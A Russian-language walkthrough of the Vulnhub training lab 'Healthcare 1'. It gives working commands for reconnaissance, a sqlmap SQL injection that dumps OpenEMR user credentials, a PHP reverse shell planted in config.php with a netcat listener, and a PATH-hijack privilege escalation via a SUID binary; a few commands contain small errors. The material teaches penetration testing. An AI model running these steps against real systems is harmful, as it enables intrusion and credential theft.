May 20, 2022

Healthcare: 1 | Пошаговое руководство Vulnhub

В этой статье пойдет речь о задаче boot2root под названием «HEALTHCARE 1». Лаборатория была разработана для обучения искусству тестирования на проникновение.

Заслуга создания этой лаборатории принадлежит v1n1v131r4. Она доступна для скачивания по ссылке. Это лаборатория среднего уровня сложности, которая содержит два флага: user.txt и root.txt.

Первые шаги

Нужно начать сканирование сети с помощью команды «netdiscover», чтобы определить IP-адрес цели, как показано ниже на картинке:

netdiscover

IP-адрес цели – это 192.168.0.158. Итак, пришло время получить дополнительную информацию о ней, выполнив команду перечисления портов с помощью «Nmap»:

nmap -A 192.168.0.158

Перечисление

Первоначальное сканирование показало, что открыты порты 21 (FTP) и 80 (HTTP). Веб-сервер обычно имеет самую большую поверхность атаки, поэтому сначала стоит рассмотреть его, он доступен на порту 80. Однако пользователь не находит никаких подсказок, когда исследует страницу (включая все подссылки и исходный код).

Чтобы продолжить перечисление, стоит открыть Gobuster — инструмент для проведения перечисления каталогов и поиска других веб-каталогов и скрытого контента, который может иметь это веб-приложение.

gobuster dir -u http://192.168.0.158/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 –e 

Инструмент Gobuster нашел такие каталоги, как favicon, robots, openemr, fonts, images. Каталог «openemr», по-видимому, содержит страницу входа в систему и программное обеспечение OpenEMR с его установленной версией, т.е. OpenEMR v4.1.0. С помощью поиска Google пользователь находит нужный ему эксплойт с SQL-инъекцией: sql-injection-vulnerability-in-openemr.

Стоит использовать Sqlmap для дальнейшего перечисления имен баз данных с помощью следующей команды:

sqlmap -u http://192.168.0.158/openemr/interface/login/validateUser.php?u= --dbs --batch

Пользователь получает список имен баз данных, как показано ниже на картинке:

База данных под названием «openemr» связана с веб-приложением, которое пользователь исследует, поэтому он проводит ее перечисление:

sqlmap -u http://192.168.0.158/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch

Пользователь получает данные о двух пользователях и их паролях, как показано ниже на картинке:

Применение полученных данных

Теперь нужно перейти на страницу входа в веб-приложение «openemr» и использовать учетные данные Ackbar для входа в систему в качестве администратора:

По мере изучения приложения пользователь понимает, что может редактировать файл config.php, который находится на вкладке «Администрирование», как видно на картинке ниже:

Человек переписывает содержание файла config.php с помощью обратного Shell PHP php-reverse-shell.php и заменяет IP цели на IP своего Kali Linux, как показано ниже на картинке:

Нужно сохранить вышеуказанные изменения, запустить листенер Netcat на Kali. Таким образом, пользователь получит обратный Shell после перезагрузки веб-страницы:

nc -lvp 1234

Теперь, когда у пользователя есть обратный Shell, стоит обновить его до полностью интерактивного Shell TTY с помощью python-onliner и далее перейти к перечислению Post, чтобы повысить привилегии root. Поэтому сначала пользователь входит в систему как medical:medical (происходит перечисление с помощью SQLi), а затем он пытается идентифицировать двоичные файлы SUID Enables с помощью команды «find».

python -c 'import pty; pty.spawn("/bin/bash")'
su medical
find / -perm -u=s -type f 2>/dev/null

Пользователь обнаружил SUID Bit, активный для /usr/bin/healthcheck.

Человек дальше исследует «healthcheck» с помощью команды «strings» и обнаруживает, что можно просканировать систему, выполняя такие команды, как «ifconfig» и «fdisk»:

string /usr/bin/healthcheck

Повышение привилегий

Пользователь может повысить привилегии с использованием переменной PATH:

cd /tmp
echo "bin/bash" > fdisk
chmod 777 fdisk
export PATH=/tmp:$PATH
/usr/bin/healthcheck
cd /root
ls

Был получен флаг root.txt.